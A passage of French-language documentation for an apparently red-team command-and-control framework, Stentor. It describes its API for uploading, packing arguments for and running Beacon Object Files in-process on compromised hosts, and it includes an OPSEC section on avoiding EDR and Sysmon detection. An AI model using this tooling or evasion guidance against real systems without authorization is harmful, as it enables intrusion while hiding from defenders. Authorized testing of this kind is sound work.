Fichiers d'objets de beacon (BOF)¶
Les fichiers objets Beacon sont des fichiers objets C compilés (.o) qui s'exécutent en ligne dans le processus du beacon. Contrairement aux techniques fork-and-run qui génèrent un processus sacrificiel, les BOF s'exécutent directement dans l'espace mémoire du beacon : pas de création de processus enfant, pas d'injection entre processus et pas d'artefacts sur le disque.
Stentor fournit une bibliothèque BOF côté serveur pour stocker et gérer les BOF, un utilitaire de regroupement d'arguments pour la sérialisation des arguments binaires et une API d'exécution qui distribue les BOF aux beacons en tant que tâches.
Qu’est-ce qu’un BOF ?
Un BOF est un fichier objet COFF (Common Object File Format) compilé à partir d’une source C. Le chargeur BOF du beacon résout les importations, déplace les symboles et appelle la fonction de point d'entrée. Les BOF ont accès à l'API Windows et à l'API interne du beacon (sortie, jeton, etc.) via un mécanisme de résolution de fonction dynamique (DFR). Au retour du BOF, sa mémoire est libérée.
Architecture¶
sequenceDiagram
participant Operator as Operator
participant API as Stentor API
participant Library as BOF Library (DB)
participant Queue as Task Queue
participant Beacon as Beacon
Note over Operator,Library: BOF Upload (one-time)
Operator->>API: POST /cockpit/bof/upload (multipart)
API->>Library: Store BOF binary + metadata
API-->>Operator: {id, name, size}
Note over Operator,Beacon: BOF Execution
Operator->>API: POST /cockpit/bof/execute {bof_id, args}
API->>Library: Load BOF binary by ID
API->>Queue: Enqueue "bof" task with base64 data
API-->>Operator: {task_id, status: "queued"}
Beacon->>Queue: Poll for tasks
Queue-->>Beacon: BOF task (bof_data + packed args)
Beacon->>Beacon: COFF loader: relocate, resolve, execute
Beacon->>API: Submit task result (BOF output) Gestion de la bibliothèque BOF¶
La bibliothèque BOF stocke les fichiers objets compilés dans la base de données avec des métadonnées. Les données binaires sont stockées sous BYTEA : le point de terminaison de la liste renvoie uniquement des métadonnées (pas de blobs binaires) pour plus d'efficacité.
Télécharger un BOF¶
POST /api/v1/cockpit/bof/upload¶
Téléchargez un fichier objet BOF compilé dans la bibliothèque. Utilise le codage de formulaire en plusieurs parties.
Champs du formulaire :
| Champ | Type | Obligatoire | Description |
|---|---|---|---|
name | chaîne | Oui | Nom lisible par l'homme pour le BOF |
description | chaîne | Non | Description de ce que fait le BOF |
arch | chaîne | Non | Architecture cible : x64 ou x86 (par défaut : x64) |
entry_point | chaîne | Non | Nom de la fonction d'entrée (par défaut : go) |
bof | fichier | Oui | Le fichier objet .o compilé |
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/upload \
-H "Authorization: Bearer $TOKEN" \
-F "name=whoami" \
-F "description=BOF implementation of whoami /all" \
-F "arch=x64" \
-F "entry_point=go" \
-F "bof=@/path/to/whoami.x64.o"
Réponse (201 créées) :
Liste des BOF¶
GET /api/v1/cockpit/bof/list¶
Renvoie tous les BOF de la bibliothèque. Les données binaires sont exclues : seules les métadonnées et la taille calculée sont renvoyées.
Champs de réponse :
| Champ | Type | Description |
|---|---|---|
id | chaîne | UUID BOF |
name | chaîne | Nom du BOF |
description | chaîne | Description du BOF |
arch | chaîne | Architecture (x64 ou x86) |
entry_point | chaîne | Nom de la fonction d'entrée |
size | int | Taille binaire en octets |
created_at | chaîne | Horodatage de création ISO 8601 |
Supprimer un BOF¶
DELETE /api/v1/cockpit/bof/:id¶
Supprimez un BOF de la bibliothèque. Cela supprime à la fois les métadonnées et les données binaires stockées.
curl -s -X DELETE https://stentor.app/api/v1/cockpit/bof/BOF_UUID \
-H "Authorization: Bearer $TOKEN"
Réponse (200 OK) :
Exécution du BOF¶
POST /api/v1/cockpit/bof/execute¶
Exécuter un BOF sur un beacon cible. Le BOF peut être référencé par l’ID de bibliothèque ou fourni sous forme d’octets bruts codés en base64.
Corps de la demande :
| Champ | Type | Obligatoire | Description |
|---|---|---|---|
beacon_id | chaîne | Oui | UUID du beacon cible |
bof_id | chaîne | Non | UUID d'un BOF dans la bibliothèque (mutuellement exclusif avec bof_data) |
bof_data | chaîne | Non | Octets BOF bruts codés en base64 (mutuellement exclusifs avec bof_id) |
args | chaîne | Non | Arguments compressés codés en base64 (voir Argument Packing) |
entry_point | chaîne | Non | Remplacer le nom de la fonction d'entrée (par défaut : valeur de la bibliothèque ou go) |
Bibliothèque vs Raw
Utilisez bof_id pour référencer un BOF pré-téléchargé à partir de la bibliothèque : le serveur charge le binaire, l'encode en base64 et l'inclut dans la tâche. Utilisez bof_data pour l'exécution ad hoc de BOF non stockés dans la bibliothèque.
# Base64-encode the BOF file and execute directly
BOF_B64=$(base64 -w0 /path/to/enum_users.x64.o)
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"beacon_id\": \"BEACON_UUID\",
\"bof_data\": \"$BOF_B64\",
\"entry_point\": \"go\"
}"
Réponse (202 acceptées) :
Le résultat de la tâche est récupéré en interrogeant la liste des tâches du beacon jusqu'à ce que l'état de la tâche soit completed. La sortie de la tâche contient la sortie imprimée du BOF (via BeaconPrintf / BeaconOutput).
Emballage des arguments¶
Les BOF reçoivent des arguments sous forme de tampon binaire compressé. L'API d'emballage d'arguments sérialise les arguments saisis au format binaire bof_pack utilisé par le chargeur BOF du beacon.
POST /api/v1/cockpit/bof/pack¶
Regroupez les arguments au format binaire codé en base64 pour l'exécution de BOF.
Corps de la demande :
| Champ | Type | Obligatoire | Description |
|---|---|---|---|
format | chaîne | Oui | Chaîne de format spécifiant les types d'arguments (un caractère par argument) |
arguments | tableau | Oui | Tableau d'objets d'argument typés |
Spécificateurs de format :
| Spécificateur | Type | Valeur | Disposition binaire |
|---|---|---|---|
b | Objet blob binaire | Chaîne codée en base64 | [4-byte LE length][raw bytes] |
i | Entier de 32 bits | Numéro JSON | [4-byte LE int32] |
s | 16 bits court | Numéro JSON | [2-byte LE int16] |
z | Chaîne ANSI | Chaîne | [4-byte LE length][string + null terminator] |
Z | Chaîne large (UTF-16LE) | Chaîne | [4-byte LE length][UTF-16LE + null (2 bytes)] |
Chaque objet argument a :
| Champ | Type | Description |
|---|---|---|
type | chaîne | Caractère spécificateur de format (b, i, s, z, Z) |
value | n'importe quel | La valeur de l'argument (le type dépend du spécificateur) |
Alignement format-argument
La longueur de la chaîne format doit correspondre exactement à la longueur du tableau arguments, et le champ type de chaque argument doit correspondre au caractère de format correspondant. Les discordances renvoient une erreur 400 Bad Request.
Exemple : regroupez une chaîne et un argument entier :
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"format": "zi",
"arguments": [
{"type": "z", "value": "CORP\\Administrator"},
{"type": "i", "value": 1}
]
}'
Réponse :
La valeur packed est transmise directement en tant que champ args dans la requête d'exécution BOF.
Exemple : flux de travail complet (package puis exécution) :
# Step 1: Pack arguments
PACKED=$(curl -s -X POST https://stentor.app/api/v1/cockpit/bof/pack \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"format": "Zi",
"arguments": [
{"type": "Z", "value": "DC01.corp.local"},
{"type": "i", "value": 389}
]
}' | jq -r '.packed')
# Step 2: Execute BOF with packed arguments
curl -s -X POST https://stentor.app/api/v1/cockpit/bof/execute \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"beacon_id\": \"BEACON_UUID\",
\"bof_id\": \"BOF_UUID\",
\"args\": \"$PACKED\"
}"
Considérations OPSEC¶
Surface de détection
L'exécution de BOF se produit entièrement en cours de processus : pas de création de processus enfant, pas d'injection entre processus. Cela rend les BOF beaucoup plus difficiles à détecter que les techniques fork-and-run. Cependant, le comportement du BOF (appels API, connexions réseau, accès au registre) est toujours soumis à la surveillance EDR.
- MITRE ATT&CK : T1620 (Chargement de code réfléchissant)
| Préoccupation | Atténuation |
|---|---|
| Exécution en cours | Les BOF s'exécutent dans le processus du beacon. Un crash dans un BOF fait planter le beacon. Testez les BOF dans un laboratoire avant de les déployer sur des beacons de production. |
| Artefacts de mémoire | La mémoire BOF est libérée après l'exécution, mais les allocations transitoires peuvent laisser des artefacts résiduels dans le tas de processus. |
| Modèles d'appel d'API | Les BOF qui appellent des API suspectes (par exemple, OpenProcess, MiniDumpWriteDump) sont soumis à la même détection comportementale que tout autre code. Combinez-le avec syscall-method indirect et beacon_gate enable pour une évasion au niveau des appels système. |
| Aucun processus enfant | Les BOF évitent l'événement Sysmon 1 (création de processus) et l'événement 8 (CreateRemoteThread) : ce sont les principaux vecteurs de détection pour les alternatives fork-and-run. |
| Point d'entrée | Le point d'entrée par défaut go est une convention BOF bien connue. Les points d'entrée personnalisés n'offrent pas d'avantages d'évasion significatifs mais peuvent être utilisés pour les BOF avec des noms de fonction non standard. |
BOF contre Fork-and-Run
Préférez les BOF aux fork-and-run (execute-assembly, powerpick) dans les environnements à forte intensité EDR. Fork-and-run crée un processus sacrificiel (détectable via des événements de création de processus), injecte du code (détectable via des écritures de mémoire inter-processus) et capture la sortie via un canal nommé (détectable via des événements de création de canal). Les BOF évitent tous ces artefacts.
Développement BOF
Les BOF sont compilés avec cl.exe (MSVC) ou x86_64-w64-mingw32-gcc (compilateur croisé MinGW) en utilisant l'indicateur /c pour produire un fichier objet sans liaison. L'en-tête beacon.h fournit l'API beacon (fonctions de sortie, gestion des jetons, analyse des arguments). Consultez la documentation TrustedSec BOF pour obtenir des conseils de développement.